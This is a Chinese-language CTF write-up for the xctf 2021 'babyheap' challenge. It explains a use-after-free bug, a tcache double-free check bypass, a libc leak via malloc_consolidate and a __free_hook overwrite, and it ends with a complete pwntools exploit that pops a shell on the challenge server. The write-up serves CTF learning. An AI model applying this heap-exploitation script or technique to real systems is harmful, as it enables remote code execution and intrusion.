0%

xctf_2021

什么时候。。。

babyheap

传统堆题,限制较少。主要考察对 tcache 的理解。

保护

最新 libc-2.27、保护全开。

分析程序

main

各种功能一应俱全。

add

限制了 chunk 的大小在 fastbin 范围内。

delete

存在 UAF 漏洞。

edit

无法修改 chunk 的 fd。

leaveyourrname

申请并编辑一个大小为 0x410 的 chunk。

漏洞利用

UAF

提到 UAF 漏洞,第一时间想到的利用方法就是 double free,然而在最新的 libc-2.27 中,添加了对 tcache 中 double free 的检测:

其中一个绕过的方法是修改 key 域。

泄漏 libc 地址

一般来说,堆题泄漏 libc 地址的方法是把 chunk 放进 unsortedbin、smallbin 或 largebin 中。然而前面提到过,此题限制了 add 的 chunk 大小。所以我们利用 leaveyourname 中 malloc(0x400) 触发 malloc_consolidate,合并 fastbin 中的相邻 chunk,并将其放入 smallbin 中。

任意地址写

修改 tcachebin 中 chunk 的 fd 可以实现任意地址写。但本题中无法直接修改 fd,因此考虑借助 UAF 构造 chunk overlap,修改 fd 后进而可以修改 __free_hook

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context.log_level = "debug"
libc = ELF("./libc.so.6_babyheap")
#io = process("./babyheap")
io = remote("52.152.231.198", 8081)

def add(idx, size):
io.sendlineafter(">> ", '1')
io.sendlineafter("input index", str(idx))
io.sendlineafter("input size", str(size))

def delete(idx):
io.sendlineafter(">> ", '2')
io.sendlineafter("input index", str(idx))

def edit(idx, content):
io.sendlineafter(">> ", '3')
io.sendlineafter("input index", str(idx))
io.sendafter("input content", content)

def show(idx):
io.sendlineafter(">> ", '4')
io.sendlineafter("input index\n", str(idx))

def add_name(name):
io.sendlineafter(">> ", '5')
io.sendafter("your name:", name)

def show_name():
io.sendlineafter(">> ", '6')

# 将两个chunk放入fastbin
add(0, 0x60)
delete(0)
for i in range(7):
edit(0, "AAA")
delete(0)

add(1, 0x58)
delete(1)
for i in range(7):
edit(1, "BBB")
delete(1)

# 触发malloc_consolidate
add(2, 0x18) # 避免与topchunk合并
add_name("jkilopu")
show(0)
libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 288 - 0x10 - libc.symbols["__malloc_hook"]
print("libc address = " + hex(libc.address))

# 修改fd
add(3, 0x18)
add(3, 0x18)
delete(3)
free_hook_addr = libc.symbols["__free_hook"]
edit(0, b'C' * (0x18 - 0x8) + p64(0x18) + p64(free_hook_addr - 0x8))

# 修改__free_hook
system_addr = libc.symbols["system"]
add(4, 0x18)
add(4, 0x18)
edit(4, p64(system_addr))

# system("/bin/sh")
edit(0, b'D' * (0x18 - 0x8) + p64(0x18) + b"/bin/sh\x00")
delete(3)

io.interactive()